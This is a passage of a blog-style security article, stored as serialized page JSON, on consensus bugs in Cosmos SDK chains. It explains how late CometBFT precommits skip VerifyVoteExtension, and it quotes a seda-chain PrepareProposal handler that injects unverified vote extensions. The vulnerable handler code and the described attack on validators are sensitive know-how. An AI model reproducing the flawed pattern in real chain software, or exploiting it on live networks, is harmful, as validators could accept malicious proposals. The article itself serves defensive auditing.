errorsmod",{"type":23,"tag":504,"props":81799,"children":81800},{"style":523},[81801],{"type":28,"value":320},{"type":23,"tag":504,"props":81803,"children":81804},{"style":517},[81805],{"type":28,"value":79661},{"type":23,"tag":504,"props":81807,"children":81808},{"style":523},[81809],{"type":28,"value":526},{"type":23,"tag":504,"props":81811,"children":81812},{"style":529},[81813],{"type":28,"value":79323},{"type":23,"tag":504,"props":81815,"children":81816},{"style":523},[81817],{"type":28,"value":320},{"type":23,"tag":504,"props":81819,"children":81820},{"style":529},[81821],{"type":28,"value":81822},"ErrUnauthorized",{"type":23,"tag":504,"props":81824,"children":81825},{"style":523},[81826],{"type":28,"value":576},{"type":23,"tag":504,"props":81828,"children":81829},{"style":622},[81830],{"type":28,"value":81831},"\"%s is not allowed to receive funds\"",{"type":23,"tag":504,"props":81833,"children":81834},{"style":523},[81835],{"type":28,"value":576},{"type":23,"tag":504,"props":81837,"children":81838},{"style":529},[81839],{"type":28,"value":81693},{"type":23,"tag":504,"props":81841,"children":81842},{"style":523},[81843],{"type":28,"value":1192},{"type":23,"tag":504,"props":81845,"children":81846},{"class":506,"line":785},[81847],{"type":23,"tag":504,"props":81848,"children":81849},{"style":523},[81850],{"type":28,"value":1652},{"type":23,"tag":504,"props":81852,"children":81853},{"class":506,"line":813},[81854],{"type":23,"tag":504,"props":81855,"children":81856},{"style":598},[81857],{"type":28,"value":81754},{"type":23,"tag":504,"props":81859,"children":81860},{"class":506,"line":851},[81861],{"type":23,"tag":504,"props":81862,"children":81863},{"style":523},[81864],{"type":28,"value":884},{"type":23,"tag":24,"props":81866,"children":81867},{},[81868,81870,81877],{"type":28,"value":81869},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":23,"tag":92,"props":81871,"children":81874},{"href":81872,"rel":81873},"https://hackerone.com/reports/3018307",[96],[81875],{"type":28,"value":81876},"improper decimal handling in the group module",{"type":28,"value":320},{"type":23,"tag":70,"props":81879,"children":81881},{"id":81880},"same-same-but-different",[81882],{"type":28,"value":81883},"Same, Same... But Different",{"type":23,"tag":24,"props":81885,"children":81886},{},[81887,81889,81895,81896,81902,81903,81909,81910,81916],{"type":28,"value":81888},"Cosmos exposes several consensus-level interfaces, such as ",{"type":23,"tag":56,"props":81890,"children":81892},{"className":81891},[],[81893],{"type":28,"value":81894},"PrepareProposal",{"type":28,"value":576},{"type":23,"tag":56,"props":81897,"children":81899},{"className":81898},[],[81900],{"type":28,"value":81901},"ProcessProposal",{"type":28,"value":576},{"type":23,"tag":56,"props":81904,"children":81906},{"className":81905},[],[81907],{"type":28,"value":81908},"ExtendVote",{"type":28,"value":5471},{"type":23,"tag":56,"props":81911,"children":81913},{"className":81912},[],[81914],{"type":28,"value":81915},"VerifyVoteExtension",{"type":28,"value":81917},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":23,"tag":24,"props":81919,"children":81920},{},[81921],{"type":28,"value":81922},"Two of the best-known attack surfaces are",{"type":23,"tag":41,"props":81924,"children":81925},{},[81926,81955],{"type":23,"tag":45,"props":81927,"children":81928},{},[81929,81934,81935,81940,81942,81947,81948,81953],{"type":23,"tag":56,"props":81930,"children":81932},{"className":81931},[],[81933],{"type":28,"value":81894},{"type":28,"value":801},{"type":23,"tag":56,"props":81936,"children":81938},{"className":81937},[],[81939],{"type":28,"value":81908},{"type":28,"value":81941},") outputs being rejected due to ",{"type":23,"tag":56,"props":81943,"children":81945},{"className":81944},[],[81946],{"type":28,"value":81901},{"type":28,"value":801},{"type":23,"tag":56,"props":81949,"children":81951},{"className":81950},[],[81952],{"type":28,"value":81915},{"type":28,"value":81954},") over-validating, resulting in liveness failures.",{"type":23,"tag":45,"props":81956,"children":81957},{},[81958,81960,81965,81966,81971,81973,81978,81979,81984],{"type":28,"value":81959},"Malicious proposals and vote extensions not created through the ",{"type":23,"tag":56,"props":81961,"children":81963},{"className":81962},[],[81964],{"type":28,"value":81894},{"type":28,"value":801},{"type":23,"tag":56,"props":81967,"children":81969},{"className":81968},[],[81970],{"type":28,"value":81908},{"type":28,"value":81972},") are accepted due to ",{"type":23,"tag":56,"props":81974,"children":81976},{"className":81975},[],[81977],{"type":28,"value":81901},{"type":28,"value":801},{"type":23,"tag":56,"props":81980,"children":81982},{"className":81981},[],[81983],{"type":28,"value":81915},{"type":28,"value":81985},") under-validating.",{"type":23,"tag":24,"props":81987,"children":81988},{},[81989],{"type":28,"value":81990},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":23,"tag":24,"props":81992,"children":81993},{},[81994,81996,82002,82004,82009],{"type":28,"value":81995},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":23,"tag":56,"props":81997,"children":81999},{"className":81998},[],[82000],{"type":28,"value":82001},"VoteExtensions",{"type":28,"value":82003}," within ",{"type":23,"tag":56,"props":82005,"children":82007},{"className":82006},[],[82008],{"type":28,"value":81894},{"type":28,"value":82010},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":23,"tag":24,"props":82012,"children":82013},{},[82014,82016,82021,82023,82028],{"type":28,"value":82015},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":23,"tag":56,"props":82017,"children":82019},{"className":82018},[],[82020],{"type":28,"value":81908},{"type":28,"value":82022}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":23,"tag":56,"props":82024,"children":82026},{"className":82025},[],[82027],{"type":28,"value":81915},{"type":28,"value":82029},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":23,"tag":24,"props":82031,"children":82032},{},[82033,82035,82040],{"type":28,"value":82034},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":23,"tag":56,"props":82036,"children":82038},{"className":82037},[],[82039],{"type":28,"value":81915},{"type":28,"value":82041}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":23,"tag":24,"props":82043,"children":82044},{},[82045,82047,82052,82054,82060],{"type":28,"value":82046},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":23,"tag":56,"props":82048,"children":82050},{"className":82049},[],[82051],{"type":28,"value":81915},{"type":28,"value":82053},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":23,"tag":56,"props":82055,"children":82057},{"className":82056},[],[82058],{"type":28,"value":82059},"Proposal",{"type":28,"value":320},{"type":23,"tag":494,"props":82062,"children":82064},{"code":82063,"language":74915,"meta":7,"className":74916,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[82065],{"type":23,"tag":56,"props":82066,"children":82067},{"__ignoreMap":7},[82068,82180,82187,82194,82202,82210,82294,82301,82309,82363,82370,82391,82398,82470,82486,82493,82567,82623,82630,82692,82699,82706,82725,82732,82739,82746],{"type":23,"tag":504,"props":82069,"children":82070},{"class":506,"line":507},[82071,82075,82079,82084,82088,82093,82097,82102,82106,82111,82115,82119,82123,82128,82132,82137,82142,82146,82151,82155,82160,82164,82168,82172,82176],{"type":23,"tag":504,"props":82072,"children":82073},{"style":511},[82074],{"type":28,"value":75051},{"type":23,"tag":504,"props":82076,"children":82077},{"style":523},[82078],{"type":28,"value":801},{"type":23,"tag":504,"props":82080,"children":82081},{"style":529},[82082],{"type":28,"value":82083},"cs ",{"type":23,"tag":504,"props":82085,"children":82086},{"style":598},[82087],{"type":28,"value":3552},{"type":23,"tag":504,"props":82089,"children":82090},{"style":1012},[82091],{"type":28,"value":82092},"State",{"type":23,"tag":504,"props":82094,"children":82095},{"style":523},[82096],{"type":28,"value":2064},{"type":23,"tag":504,"props":82098,"children":82099},{"style":517},[82100],{"type":28,"value":82101},"addVote",{"type":23,"tag":504,"props":82103,"children":82104},{"style":523},[82105],{"type":28,"value":526},{"type":23,"tag":504,"props":82107,"children":82108},{"style":529},[82109],{"type":28,"value":82110},"vote",{"type":23,"tag":504,"props":82112,"children":82113},{"style":598},[82114],{"type":28,"value":8797},{"type":23,"tag":504,"props":82116,"children":82117},{"style":1012},[82118],{"type":28,"value":4741},{"type":23,"tag":504,"props":82120,"children":82121},{"style":523},[82122],{"type":28,"value":320},{"type":23,"tag":504,"props":82124,"children":82125},{"style":1012},[82126],{"type":28,"value":82127},"Vote",{"type":23,"tag":504,"props":82129,"children":82130},{"style":523},[82131],{"type":28,"value":576},{"type":23,"tag":504,"props":82133,"children":82134},{"style":529},[82135],{"type":28,"value":82136},"peerID",{"type":23,"tag":504,"props":82138,"children":82139},{"style":1012},[82140],{"type":28,"value":82141}," p2p",{"type":23,"tag":504,"props":82143,"children":82144},{"style":523},[82145],{"type":28,"value":320},{"type":23,"tag":504,"props":82147,"children":82148},{"style":1012},[82149],{"type":28,"value":82150},"ID",{"type":23,"tag":504,"props":82152,"children":82153},{"style":523},[82154],{"type":28,"value":75133},{"type":23,"tag":504,"props":82156,"children":82157},{"style":529},[82158],{"type":28,"value":82159},"added",{"type":23,"tag":504,"props":82161,"children":82162},{"style":1012},[82163],{"type":28,"value":11032},{"type":23,"tag":504,"props":82165,"children":82166},{"style":523},[82167],{"type":28,"value":576},{"type":23,"tag":504,"props":82169,"children":82170},{"style":529},[82171],{"type":28,"value":47399},{"type":23,"tag":504,"props":82173,"children":82174},{"style":1012},[82175],{"type":28,"value":13856},{"type":23,"tag":504,"props":82177,"children":82178},{"style":523},[82179],{"type":28,"value":537},{"type":23,"tag":504,"props":82181,"children":82182},{"class":506,"line":540},[82183],{"type":23,"tag":504,"props":82184,"children":82185},{"style":598},[82186],{"type":28,"value":19321},{"type":23,"tag":504,"props":82188,"children":82189},{"class":506,"line":555},[82190],{"type":23,"tag":504,"props":82191,"children":82192},{"emptyLinePlaceholder":16},[82193],{"type":28,"value":1038},{"type":23,"tag":504,"props":82195,"children":82196},{"class":506,"line":633},[82197],{"type":23,"tag":504,"props":82198,"children":82199},{"style":1106},[82200],{"type":28,"value":82201},"    // A precommit for the previous height?\n",{"type":23,"tag":504,"props":82203,"children":82204},{"class":506,"line":687},[82205],{"type":23,"tag":504,"props":82206,"children":82207},{"style":1106},[82208],{"type":28,"value":82209},"    // These come in while we wait timeoutCommit\n",{"type":23,"tag":504,"props":82211,"children":82212},{"class":506,"line":736},[82213,82217,82222,82226,82231,82235,82239,82243,82248,82252,82256,82260,82264,82268,82273,82277,82281,82285,82290],{"type":23,"tag":504,"props":82214,"children":82215},{"style":544},[82216],{"type":28,"value":11261},{"type":23,"tag":504,"props":82218,"children":82219},{"style":529},[82220],{"type":28,"value":82221}," vote",{"type":23,"tag":504,"props":82223,"children":82224},{"style":523},[82225],{"type":28,"value":320},{"type":23,"tag":504,"props":82227,"children":82228},{"style":529},[82229],{"type":28,"value":82230},"Height",{"type":23,"tag":504,"props":82232,"children":82233},{"style":598},[82234],{"type":28,"value":1642},{"type":23,"tag":504,"props":82236,"children":82237},{"style":1440},[82238],{"type":28,"value":2991},{"type":23,"tag":504,"props":82240,"children":82241},{"style":598},[82242],{"type":28,"value":2260},{"type":23,"tag":504,"props":82244,"children":82245},{"style":529},[82246],{"type":28,"value":82247}," cs",{"type":23,"tag":504,"props":82249,"children":82250},{"style":523},[82251],{"type":28,"value":320},{"type":23,"tag":504,"props":82253,"children":82254},{"style":529},[82255],{"type":28,"value":82230},{"type":23,"tag":504,"props":82257,"children":82258},{"style":598},[82259],{"type":28,"value":13166},{"type":23,"tag":504,"props":82261,"children":82262},{"style":529},[82263],{"type":28,"value":82221},{"type":23,"tag":504,"props":82265,"children":82266},{"style":523},[82267],{"type":28,"value":320},{"type":23,"tag":504,"props":82269,"children":82270},{"style":529},[82271],{"type":28,"value":82272},"Type",{"type":23,"tag":504,"props":82274,"children":82275},{"style":598},[82276],{"type":28,"value":2260},{"type":23,"tag":504,"props":82278,"children":82279},{"style":529},[82280],{"type":28,"value":76926},{"type":23,"tag":504,"props":82282,"children":82283},{"style":523},[82284],{"type":28,"value":320},{"type":23,"tag":504,"props":82286,"children":82287},{"style":529},[82288],{"type":28,"value":82289},"PrecommitType",{"type":23,"tag":504,"props":82291,"children":82292},{"style":523},[82293],{"type":28,"value":552},{"type":23,"tag":504,"props":82295,"children":82296},{"class":506,"line":785},[82297],{"type":23,"tag":504,"props":82298,"children":82299},{"style":598},[82300],{"type":28,"value":80593},{"type":23,"tag":504,"props":82302,"children":82303},{"class":506,"line":813},[82304],{"type":23,"tag":504,"props":82305,"children":82306},{"style":1106},[82307],{"type":28,"value":82308},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":23,"tag":504,"props":82310,"children":82311},{"class":506,"line":851},[82312,82317,82321,82325,82329,82333,82337,82342,82346,82351,82355,82359],{"type":23,"tag":504,"props":82313,"children":82314},{"style":529},[82315],{"type":28,"value":82316},"        added",{"type":23,"tag":504,"props":82318,"children":82319},{"style":523},[82320],{"type":28,"value":576},{"type":23,"tag":504,"props":82322,"children":82323},{"style":529},[82324],{"type":28,"value":47399},{"type":23,"tag":504,"props":82326,"children":82327},{"style":598},[82328],{"type":28,"value":648},{"type":23,"tag":504,"props":82330,"children":82331},{"style":529},[82332],{"type":28,"value":82247},{"type":23,"tag":504,"props":82334,"children":82335},{"style":523},[82336],{"type":28,"value":320},{"type":23,"tag":504,"props":82338,"children":82339},{"style":529},[82340],{"type":28,"value":82341},"LastCommit",{"type":23,"tag":504,"props":82343,"children":82344},{"style":523},[82345],{"type":28,"value":320},{"type":23,"tag":504,"props":82347,"children":82348},{"style":517},[82349],{"type":28,"value":82350},"AddVote",{"type":23,"tag":504,"props":82352,"children":82353},{"style":523},[82354],{"type":28,"value":526},{"type":23,"tag":504,"props":82356,"children":82357},{"style":529},[82358],{"type":28,"value":82110},{"type":23,"tag":504,"props":82360,"children":82361},{"style":523},[82362],{"type":28,"value":1192},{"type":23,"tag":504,"props":82364,"children":82365},{"class":506,"line":869},[82366],{"type":23,"tag":504,"props":82367,"children":82368},{"style":598},[82369],{"type":28,"value":80593},{"type":23,"tag":504,"props":82371,"children":82372},{"class":506,"line":878},[82373,82377,82382,82386],{"type":23,"tag":504,"props":82374,"children":82375},{"style":544},[82376],{"type":28,"value":742},{"type":23,"tag":504,"props":82378,"children":82379},{"style":529},[82380],{"type":28,"value":82381}," added",{"type":23,"tag":504,"props":82383,"children":82384},{"style":523},[82385],{"type":28,"value":576},{"type":23,"tag":504,"props":82387,"children":82388},{"style":529},[82389],{"type":28,"value":82390},"err\n",{"type":23,"tag":504,"props":82392,"children":82393},{"class":506,"line":1221},[82394],{"type":23,"tag":504,"props":82395,"children":82396},{"style":523},[82397],{"type":28,"value":875},{"type":23,"tag":504,"props":82399,"children":82400},{"class":506,"line":1276},[82401,82406,82410,82414,82418,82423,82427,82432,82436,82441,82445,82450,82454,82458,82462,82466],{"type":23,"tag":504,"props":82402,"children":82403},{"style":529},[82404],{"type":28,"value":82405},"    extEnabled",{"type":23,"tag":504,"props":82407,"children":82408},{"style":598},[82409],{"type":28,"value":75167},{"type":23,"tag":504,"props":82411,"children":82412},{"style":529},[82413],{"type":28,"value":82247},{"type":23,"tag":504,"props":82415,"children":82416},{"style":523},[82417],{"type":28,"value":320},{"type":23,"tag":504,"props":82419,"children":82420},{"style":529},[82421],{"type":28,"value":82422},"state",{"type":23,"tag":504,"props":82424,"children":82425},{"style":523},[82426],{"type":28,"value":320},{"type":23,"tag":504,"props":82428,"children":82429},{"style":529},[82430],{"type":28,"value":82431},"ConsensusParams",{"type":23,"tag":504,"props":82433,"children":82434},{"style":523},[82435],{"type":28,"value":320},{"type":23,"tag":504,"props":82437,"children":82438},{"style":529},[82439],{"type":28,"value":82440},"Feature",{"type":23,"tag":504,"props":82442,"children":82443},{"style":523},[82444],{"type":28,"value":320},{"type":23,"tag":504,"props":82446,"children":82447},{"style":517},[82448],{"type":28,"value":82449},"VoteExtensionsEnabled",{"type":23,"tag":504,"props":82451,"children":82452},{"style":523},[82453],{"type":28,"value":526},{"type":23,"tag":504,"props":82455,"children":82456},{"style":529},[82457],{"type":28,"value":82110},{"type":23,"tag":504,"props":82459,"children":82460},{"style":523},[82461],{"type":28,"value":320},{"type":23,"tag":504,"props":82463,"children":82464},{"style":529},[82465],{"type":28,"value":82230},{"type":23,"tag":504,"props":82467,"children":82468},{"style":523},[82469],{"type":28,"value":1192},{"type":23,"tag":504,"props":82471,"children":82472},{"class":506,"line":1285},[82473,82477,82482],{"type":23,"tag":504,"props":82474,"children":82475},{"style":544},[82476],{"type":28,"value":11261},{"type":23,"tag":504,"props":82478,"children":82479},{"style":529},[82480],{"type":28,"value":82481}," extEnabled",{"type":23,"tag":504,"props":82483,"children":82484},{"style":523},[82485],{"type":28,"value":552},{"type":23,"tag":504,"props":82487,"children":82488},{"class":506,"line":1294},[82489],{"type":23,"tag":504,"props":82490,"children":82491},{"style":598},[82492],{"type":28,"value":80593},{"type":23,"tag":504,"props":82494,"children":82495},{"class":506,"line":1302},[82496,82500,82504,82508,82512,82516,82520,82524,82528,82532,82536,82540,82544,82549,82553,82558,82562],{"type":23,"tag":504,"props":82497,"children":82498},{"style":544},[82499],{"type":28,"value":2250},{"type":23,"tag":504,"props":82501,"children":82502},{"style":529},[82503],{"type":28,"value":82221},{"type":23,"tag":504,"props":82505,"children":82506},{"style":523},[82507],{"type":28,"value":320},{"type":23,"tag":504,"props":82509,"children":82510},{"style":529},[82511],{"type":28,"value":82272},{"type":23,"tag":504,"props":82513,"children":82514},{"style":598},[82515],{"type":28,"value":2260},{"type":23,"tag":504,"props":82517,"children":82518},{"style":529},[82519],{"type":28,"value":76926},{"type":23,"tag":504,"props":82521,"children":82522},{"style":523},[82523],{"type":28,"value":320},{"type":23,"tag":504,"props":82525,"children":82526},{"style":529},[82527],{"type":28,"value":82289},{"type":23,"tag":504,"props":82529,"children":82530},{"style":598},[82531],{"type":28,"value":13166},{"type":23,"tag":504,"props":82533,"children":82534},{"style":598},[82535],{"type":28,"value":11845},{"type":23,"tag":504,"props":82537,"children":82538},{"style":529},[82539],{"type":28,"value":82110},{"type":23,"tag":504,"props":82541,"children":82542},{"style":523},[82543],{"type":28,"value":320},{"type":23,"tag":504,"props":82545,"children":82546},{"style":529},[82547],{"type":28,"value":82548},"BlockID",{"type":23,"tag":504,"props":82550,"children":82551},{"style":523},[82552],{"type":28,"value":320},{"type":23,"tag":504,"props":82554,"children":82555},{"style":517},[82556],{"type":28,"value":82557},"IsNil",{"type":23,"tag":504,"props":82559,"children":82560},{"style":523},[82561],{"type":28,"value":13024},{"type":23,"tag":504,"props":82563,"children":82564},{"style":598},[82565],{"type":28,"value":82566},"&&\n",{"type":23,"tag":504,"props":82568,"children":82569},{"class":506,"line":1311},[82570,82575,82580,82584,82588,82592,82596,82600,82605,82609,82614,82618],{"type":23,"tag":504,"props":82571,"children":82572},{"style":598},[82573],{"type":28,"value":82574},"            !",{"type":23,"tag":504,"props":82576,"children":82577},{"style":529},[82578],{"type":28,"value":82579},"bytes",{"type":23,"tag":504,"props":82581,"children":82582},{"style":523},[82583],{"type":28,"value":320},{"type":23,"tag":504,"props":82585,"children":82586},{"style":517},[82587],{"type":28,"value":81049},{"type":23,"tag":504,"props":82589,"children":82590},{"style":523},[82591],{"type":28,"value":526},{"type":23,"tag":504,"props":82593,"children":82594},{"style":529},[82595],{"type":28,"value":82110},{"type":23,"tag":504,"props":82597,"children":82598},{"style":523},[82599],{"type":28,"value":320},{"type":23,"tag":504,"props":82601,"children":82602},{"style":529},[82603],{"type":28,"value":82604},"ValidatorAddress",{"type":23,"tag":504,"props":82606,"children":82607},{"style":523},[82608],{"type":28,"value":576},{"type":23,"tag":504,"props":82610,"children":82611},{"style":529},[82612],{"type":28,"value":82613},"myAddr",{"type":23,"tag":504,"props":82615,"children":82616},{"style":523},[82617],{"type":28,"value":22968},{"type":23,"tag":504,"props":82619,"children":82620},{"style":1106},[82621],{"type":28,"value":82622},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":23,"tag":504,"props":82624,"children":82625},{"class":506,"line":1334},[82626],{"type":23,"tag":504,"props":82627,"children":82628},{"style":598},[82629],{"type":28,"value":81269},{"type":23,"tag":504,"props":82631,"children":82632},{"class":506,"line":1370},[82633,82637,82641,82645,82649,82654,82658,82662,82666,82671,82675,82680,82684,82688],{"type":23,"tag":504,"props":82634,"children":82635},{"style":529},[82636],{"type":28,"value":81087},{"type":23,"tag":504,"props":82638,"children":82639},{"style":598},[82640],{"type":28,"value":75167},{"type":23,"tag":504,"props":82642,"children":82643},{"style":529},[82644],{"type":28,"value":82247},{"type":23,"tag":504,"props":82646,"children":82647},{"style":523},[82648],{"type":28,"value":320},{"type":23,"tag":504,"props":82650,"children":82651},{"style":529},[82652],{"type":28,"value":82653},"blockExec",{"type":23,"tag":504,"props":82655,"children":82656},{"style":523},[82657],{"type":28,"value":320},{"type":23,"tag":504,"props":82659,"children":82660},{"style":517},[82661],{"type":28,"value":81915},{"type":23,"tag":504,"props":82663,"children":82664},{"style":523},[82665],{"type":28,"value":526},{"type":23,"tag":504,"props":82667,"children":82668},{"style":529},[82669],{"type":28,"value":82670},"context",{"type":23,"tag":504,"props":82672,"children":82673},{"style":523},[82674],{"type":28,"value":320},{"type":23,"tag":504,"props":82676,"children":82677},{"style":517},[82678],{"type":28,"value":82679},"TODO",{"type":23,"tag":504,"props":82681,"children":82682},{"style":523},[82683],{"type":28,"value":17355},{"type":23,"tag":504,"props":82685,"children":82686},{"style":529},[82687],{"type":28,"value":82110},{"type":23,"tag":504,"props":82689,"children":82690},{"style":523},[82691],{"type":28,"value":1192},{"type":23,"tag":504,"props":82693,"children":82694},{"class":506,"line":1384},[82695],{"type":23,"tag":504,"props":82696,"children":82697},{"style":598},[82698],{"type":28,"value":81269},{"type":23,"tag":504,"props":82700,"children":82701},{"class":506,"line":1392},[82702],{"type":23,"tag":504,"props":82703,"children":82704},{"style":523},[82705],{"type":28,"value":1291},{"type":23,"tag":504,"props":82707,"children":82708},{"class":506,"line":1400},[82709,82713,82717,82721],{"type":23,"tag":504,"props":82710,"children":82711},{"style":523},[82712],{"type":28,"value":791},{"type":23,"tag":504,"props":82714,"children":82715},{"style":544},[82716],{"type":28,"value":2293},{"type":23,"tag":504,"props":82718,"children":82719},{"style":544},[82720],{"type":28,"value":14766},{"type":23,"tag":504,"props":82722,"children":82723},{"style":523},[82724],{"type":28,"value":552},{"type":23,"tag":504,"props":82726,"children":82727},{"class":506,"line":1422},[82728],{"type":23,"tag":504,"props":82729,"children":82730},{"style":598},[82731],{"type":28,"value":80593},{"type":23,"tag":504,"props":82733,"children":82734},{"class":506,"line":1450},[82735],{"type":23,"tag":504,"props":82736,"children":82737},{"style":523},[82738],{"type":28,"value":875},{"type":23,"tag":504,"props":82740,"children":82741},{"class":506,"line":1463},[82742],{"type":23,"tag":504,"props":82743,"children":82744},{"style":598},[82745],{"type":28,"value":19321},{"type":23,"tag":504,"props":82747,"children":82748},{"class":506,"line":1485},[82749],{"type":23,"tag":504,"props":82750,"children":82751},{"style":523},[82752],{"type":28,"value":884},{"type":23,"tag":24,"props":82754,"children":82755},{},[82756],{"type":28,"value":82757},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":23,"tag":82,"props":82759,"children":82761},{"id":82760},"real-world-examples-4",[82762],{"type":28,"value":75440},{"type":23,"tag":24,"props":82764,"children":82765},{},[82766,82768,82773,82775,82781,82783,82789],{"type":28,"value":82767},"An example of the bug we just described is shown here. ",{"type":23,"tag":56,"props":82769,"children":82771},{"className":82770},[],[82772],{"type":28,"value":81894},{"type":28,"value":82774}," only checks that each vote is properly signed by a validator in ",{"type":23,"tag":56,"props":82776,"children":82778},{"className":82777},[],[82779],{"type":28,"value":82780},"ValidateVoteExtension",{"type":28,"value":82782}," but does not verify it against the rules in ",{"type":23,"tag":56,"props":82784,"children":82786},{"className":82785},[],[82787],{"type":28,"value":82788},"VerifyVoteExtention.",{"type":28,"value":82790}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":23,"tag":24,"props":82792,"children":82793},{},[82794],{"type":23,"tag":92,"props":82795,"children":82798},{"href":82796,"rel":82797},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[96],[82799],{"type":28,"value":75490},{"type":23,"tag":494,"props":82801,"children":82803},{"code":82802,"language":74915,"meta":7,"className":74916,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    }\n}\n",[82804],{"type":23,"tag":56,"props":82805,"children":82806},{"__ignoreMap":7},[82807,82861,82952,82959,82980,83047,83055,83160,83183,83202,83209,83263,83286,83341,83360,83367,83374,83381,83435,83442,83468,83491,83543,83605,83612,83639,83659,83671,83678],{"type":23,"tag":504,"props":82808,"children":82809},{"class":506,"line":507},[82810,82814,82818,82823,82827,82832,82836,82841,82845,82849,82853,82857],{"type":23,"tag":504,"props":82811,"children":82812},{"style":511},[82813],{"type":28,"value":75051},{"type":23,"tag":504,"props":82815,"children":82816},{"style":523},[82817],{"type":28,"value":801},{"type":23,"tag":504,"props":82819,"children":82820},{"style":529},[82821],{"type":28,"value":82822},"h ",{"type":23,"tag":504,"props":82824,"children":82825},{"style":598},[82826],{"type":28,"value":3552},{"type":23,"tag":504,"props":82828,"children":82829},{"style":1012},[82830],{"type":28,"value":82831},"Handlers",{"type":23,"tag":504,"props":82833,"children":82834},{"style":523},[82835],{"type":28,"value":2064},{"type":23,"tag":504,"props":82837,"children":82838},{"style":517},[82839],{"type":28,"value":82840},"PrepareProposalHandler",{"type":23,"tag":504,"props":82842,"children":82843},{"style":523},[82844],{"type":28,"value":13024},{"type":23,"tag":504,"props":82846,"children":82847},{"style":1012},[82848],{"type":28,"value":77481},{"type":23,"tag":504,"props":82850,"children":82851},{"style":523},[82852],{"type":28,"value":320},{"type":23,"tag":504,"props":82854,"children":82855},{"style":1012},[82856],{"type":28,"value":82840},{"type":23,"tag":504,"props":82858,"children":82859},{"style":523},[82860],{"type":28,"value":552},{"type":23,"tag":504,"props":82862,"children":82863},{"class":506,"line":540},[82864,82868,82872,82876,82880,82884,82888,82892,82896,82901,82905,82910,82914,82919,82923,82927,82931,82935,82940,82944,82948],{"type":23,"tag":504,"props":82865,"children":82866},{"style":544},[82867],{"type":28,"value":15968},{"type":23,"tag":504,"props":82869,"children":82870},{"style":511},[82871],{"type":28,"value":78760},{"type":23,"tag":504,"props":82873,"children":82874},{"style":523},[82875],{"type":28,"value":526},{"type":23,"tag":504,"props":82877,"children":82878},{"style":529},[82879],{"type":28,"value":19262},{"type":23,"tag":504,"props":82881,"children":82882},{"style":1012},[82883],{"type":28,"value":77392},{"type":23,"tag":504,"props":82885,"children":82886},{"style":523},[82887],{"type":28,"value":320},{"type":23,"tag":504,"props":82889,"children":82890},{"style":1012},[82891],{"type":28,"value":75100},{"type":23,"tag":504,"props":82893,"children":82894},{"style":523},[82895],{"type":28,"value":576},{"type":23,"tag":504,"props":82897,"children":82898},{"style":529},[82899],{"type":28,"value":82900},"req",{"type":23,"tag":504,"props":82902,"children":82903},{"style":598},[82904],{"type":28,"value":8797},{"type":23,"tag":504,"props":82906,"children":82907},{"style":1012},[82908],{"type":28,"value":82909},"abcitypes",{"type":23,"tag":504,"props":82911,"children":82912},{"style":523},[82913],{"type":28,"value":320},{"type":23,"tag":504,"props":82915,"children":82916},{"style":1012},[82917],{"type":28,"value":82918},"RequestPrepareProposal",{"type":23,"tag":504,"props":82920,"children":82921},{"style":523},[82922],{"type":28,"value":75133},{"type":23,"tag":504,"props":82924,"children":82925},{"style":598},[82926],{"type":28,"value":3552},{"type":23,"tag":504,"props":82928,"children":82929},{"style":1012},[82930],{"type":28,"value":82909},{"type":23,"tag":504,"props":82932,"children":82933},{"style":523},[82934],{"t